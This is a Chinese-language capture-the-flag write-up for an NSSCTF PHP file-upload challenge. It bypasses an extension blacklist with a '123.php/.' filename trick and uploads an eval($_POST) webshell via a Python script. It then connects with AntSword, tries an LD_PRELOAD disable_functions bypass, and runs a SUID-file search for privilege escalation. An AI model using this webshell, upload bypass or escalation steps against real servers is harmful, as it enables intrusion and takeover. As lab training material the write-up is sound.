#利用python上传文件 #蚁剑插件绕过被禁内置函数 #antswort执行命令 #file_put_contents上传文件漏洞 #suid提权
我们先看看代码:
<?php
function blacklist($file){
$deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
$ext = pathinfo($file, PATHINFO_EXTENSION);
foreach ($deny_ext as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);
}
代码解析
第一段 设置了一个黑名单
pathinfo
pathinfo
在 PHP 中是一个函数,==用于返回文件路径的信息。==它以数组的形式返回关于文件路径的信息,包括目录路径、文件名、扩展名等。以下是 pathinfo
函数的一些基本用法和返回值:
基本用法
- 语法:
pathinfo(string $path, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME): mixed
- 参数:
$path
:必需,指定要检查的路径。$options
:可选,指定要返回的数组元素。默认是返回所有元素。
返回值
- 如果没有指定
$options
,pathinfo
返回一个包含以下元素的关联数组:dirname
:目录路径basename
:文件名extension
:文件扩展名(如果有)filename
:不包含扩展名的文件名。
示例
<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');
echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>
输出:
/www/htdocs/inc
lib.inc.php
php
lib.inc
注意事项
pathinfo
是本地化的,所以为了正确解析包含多字节字符的路径,必须使用setlocale()
函数来设置匹配的区域设置。- 如果路径有多个扩展名,
PATHINFO_EXTENSION
只返回最后一个扩展名,而PATHINFO_FILENAME
只剥离最后一个扩展名。
上传123.php/.
绕过黑名单
第二段
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);
}
这段代码处理文件上传并根据文件名进行一些操作。以下是对代码的详细解释和潜在的安全风险分析:
代码解释
-
检查文件上传:
if(isset($_FILES['file'])){
检查是否有名为
'file'
的文件上传。 -
获取文件名并解码:
$filename = urldecode($_FILES['file']['name']);
获取上传文件的原始名称,并进行URL解码。
-
读取文件内容:
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
从文件的临时存储位置读取文件内容。
-
黑名单检查:
if(blacklist($filename)){ file_put_contents($filename, $filecontent); echo "Success!!!"; } else { echo "Hacker!!!"; }
调用
blacklist()
函数检查文件名是否在黑名单中。如果在黑名单中,则将文件内容写入服务器,文件名由用户提供;否则,输出"Hacker!!!"。 -
无文件上传时高亮显示代码:
} else{ highlight_file(__FILE__); }
如果没有文件上传,则高亮显示当前PHP文件的源代码。
[[$_FILES]] [[file_put_contents]]
利用python写文件
因为题中并没有直接给我们文上传点 所以我们要利用python
要上传的文件内容应该写在你提供的文件中,也就是 1.php
文件里。你需要创建这个文件并写入你想要上传的内容。
步骤:
-
创建并编辑
1.php
文件:在你的当前工作目录下创建一个名为
1.php
的文件,并在其中写入你想要上传的内容。例如:<?php eval($_POST[0]);phpinfo();?>
-
确保文件路径正确:
确保
1.php
文件与你的 Python 脚本在同一个目录下,或者提供正确的文件路径。 -
修改文件打开模式:
在你的代码中,打开文件时应该使用二进制读模式
'rb'
:file = { "file": ("123.php%2f.", open('1.php', 'rb')) }
-
运行脚本:
运行你的 Python 脚本,它会读取
1.php
文件的内容并上传到指定的 URL。
完整示例代码:
import requests
url = "http://node6.anna.nssctf.cn:22921/" # 目标URL
file = {
"file": ("123.php%2f.", open('1.php', 'rb')) # 文件名和打开的文件
}
try:
res = requests.post(url=url, files=file) # 发送POST请求
print(res.text) # 打印服务器响应
except Exception as e:
print("发生错误:", e)
注意事项:
-
文件内容:
确保
1.php
文件中包含你想要上传的内容。 -
文件编码:
如果文件名或文件内容包含特殊字符,可能需要进行 URL 编码。
-
服务器端要求:
确认服务器端接受上传的文件类型和字段名称。
绕过黑名单
上传123.php/.
绕过黑名单
同时· 联合file_put_contents上传文件的·漏洞 :
当上传123.php/.
的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.
的文件,最终上传创建的是123.php
由于file_put_contents的漏洞
下面我们想做的事情就会被正常做了
python脚本:
import requests
url = "http://node6.anna.nssctf.cn:22921/"
file = {
"file":("123.php%2f.",open('1.php','rb'))
}
res = requests.post(url=url,files=file).text
print(res)
去访问,发现成功了
利用antswort
我们用ant连接一下
我们看到flag是有内容的,但是无法查看
权限是0740
在Linux系统中,文件权限通常用三位数字表示,分别对应文件所有者(User)、所属组(Group)和其他用户(Other)的权限。每个数字可以转换为三位二进制数,分别代表可读(r)、可写(w)和可执行(x)权限。
对于权限 0740
,其具体含义如下:
- 0:通常表示特殊权限位,0表示没有设置特殊权限位.
- 7:表示文件所有者(User)的权限,二进制为
111
,即具有可读(r)、可写(w)和可执行(x)权限. - 4:表示所属组(Group)的权限,二进制为
100
,即只有可读(r)权限,没有可写(w)和可执行(x)权限. - 0:表示其他用户(Other)的权限,二进制为
000
,即没有任何权限.
因此,权限 0740
表示文件所有者可以读、写和执行该文件,所属组用户只能读取该文件,而其他用户没有任何权限。
想改一下权限 发现失败了
终端试一下呢
不行
下面介绍一下我们shell的大敌:
disable_functions
看到php配置中 存在disable_functions它禁用了一些内置函数 我们能看到其中就有命令执行函数被禁用了
[[绕过Disable Functions]]
这里我们利用antswory的插件绕过
php版本为7.2.34
我们选择LD_PRELOAD
模式并点击开始按钮,成功后蚁剑会在/var/www/html
目录里上传一个.antproxy.php
文件。我们创建副本, 并将连接的 URL shell 脚本名字改为.antproxy.php
获得一个新的shell,在这个新shell里面就可以成功执行命令了。
我这不能行,希望各位的可以
那我就用其他方法了:
suid提权
我们换换方法 ,既然我们是因为没有权限读取文件,我们就试试[[Linux suid提权]]
SUID 提权的过程
- 查找 SUID 文件:攻击者首先查找系统中设置了 SUID 位的文件。
find / -perm -4000 -type f 2>/dev/null
- 分析文件功能:攻击者分析这些文件的功能,寻找可能的漏洞。
- 利用漏洞提权:如果文件存在漏洞,攻击者可以通过执行该文件来提升权限。
我们利用插件,因为原本终端不能直接执行命令
查找SUID文件
找到了
令人没想到的是,过去就给了
NSSCTF{9e3704fd-adc5-429f-a966-6a2007d5b6e0}